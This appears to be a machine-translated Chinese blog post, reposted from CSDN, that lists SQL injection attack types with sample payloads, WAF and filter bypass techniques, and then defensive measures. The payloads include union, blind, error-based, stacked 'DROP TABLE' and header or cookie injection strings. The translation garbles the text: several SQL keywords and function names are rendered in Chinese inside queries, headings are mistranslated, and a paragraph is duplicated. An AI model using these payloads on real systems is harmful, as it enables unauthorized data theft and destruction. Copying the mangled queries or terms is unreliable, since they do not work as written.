sql注入,sql注入防范措施

sql注入原则上是对数据库进行操作,从而获取敏感信息,进行敏感操作。 1 攻击类型 1.1 联合查询
通过union联合查询所需内容 SELECT id, name FROM users WHERE id 1

作为一般规则,操作数据库是为了检索敏感信息并执行敏感操作。

1 攻击类型

1.1 协作查询

通过union查询你想要的内容

SELECT id, name FROM users WHERE id=1 UNION SELECT 1, \’admin\’–;

1.2 盲注

布尔盲注(检查页面是否回显正常内容):

SELECT id, name FROM users WHERE id=1 AND 1=1– ; 这将返回结果。

SELECT id, name FROM users WHERE id=1 AND 1=2– ; 这不会返回任何结果。

布尔盲注入(检查页面响应时间):

SELECT id, name FROM users WHERE id=1 AND IF(1=1, SLEEP(5), 0)– ; 这会延迟5 秒。

1.3 错误注入(页面包含错误信息)

提取值

SELECT 提取的值(1, CONCAT(0x3a, (SELECT database()),0x3a));

地面

SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2)) FROM INFORMATION_SCHEMA.TABLES GROUP BY FLOOR(RAND(0)*2);

更新XML

SELECT updatexml(1, CONCAT(0x3a, (SELECT 数据库()),0x3a), 1);

1.4 堆栈注入

SELECT id, name FROM users WHERE id=1; DROP TABLE users–;

1.5 宽咬合注射

从用户中选择ID、名称WHERE id=1 AND name=\’admin\’ %df\’ — ;

1.6 二次注射

开始:

INSERT INTO users (用户名) VALUES (\’admin\’); DROP TABLE users–\’);

第二次:

SELECT * FROM users WHERE username=\’admin\’ DROP TABLE users– \’;

1.7 用户代理注入

User-Agent: \’ UNION SELECT 1, @@version–;

1.8Cookie注入

Cookie: session=\’ OR 1=1– ;

2 绕过手法

2.1 大小写字母的双重书写

将UNION 写为uNiOn 或UUNINION。

2.2 空格或逗号

空格为:%20url、%09tab 水平制表符、%0btab 垂直制表符、%0a 下一行、%0c 新页、%a0 空、/**/、/*!/(带或不带注释)编码为空间)

和:

或:||

逗号:substr、mid、join、like、limit、limit offset

2.3 大于、小于、等于

如果过滤相等,则使用!(ab)绕过或者使用in绕过,使用最大最小值函数求出最大值和最小值,并与之前的bypass方法结合起来即可。

2.4 引文

宽字节注入、编码、转义字符、二次注入

2.5 过滤常用函数,使用不太常用的函数。

例如,不要直接输入字符,而是使用CHAR() 函数。 Benchmark() 替代sleep()、left()、right() 替代substr()

2.6 多重编码

使用URL编码、Base64编码等。

2.8 分割多个参数

使用评论

2.9 无列名注入

使用信息架构

使用sys.schema_auto_increment_columns 查询表名后,使用join 内联列名,并使用写入扩展列名来获取所有列名。

3 防御措施

3.1 参数化查询和准备语句

使用?而不是参数

3.2 使用数据库存储过程通过参数传递数据,减少直接编写SQL查询的可能性。

3.3 输入验证和清理:严格验证和清理用户输入,确保输入符合预期格式。

应使用正则表达式严格检查输入并应提前定义

3.4 最小权限原则:为应用程序使用的数据库帐户授予最小权限,以防止攻击者在发生SQL 注入时执行破坏性操作。

3.5 处理数据库错误:避免将数据库错误信息直接暴露给用户,防止攻击者通过错误信息确定或推断数据库的结构。

如果语句产生错误,请不要在页面上显示错误消息,仔细编写错误消息,并使用下面的try 。

示例:发生错误

3.6 使用ORM(对象关系映射): 减少直接编写SQL查询的需要,并通过更高级别的抽象层降低注入的风险。

Java有mybatis-plus,其他语言也有类似的框架。

3.7 启用数据库安全功能:许多数据库都有内置的安全功能。

在MySQL 中启用NO_BACKSLASH_ESCAPES 模式

设置sql_mode=\’NO_BACKSLASH_ESCAPES\’;

3.8 使用WAF和IDS

以上#SQL注入相关内容来源仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93217.html

(0)
CSDN's avatarCSDN
上一篇 2024年7月5日 下午6:11
下一篇 2024年7月5日 下午6:28

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注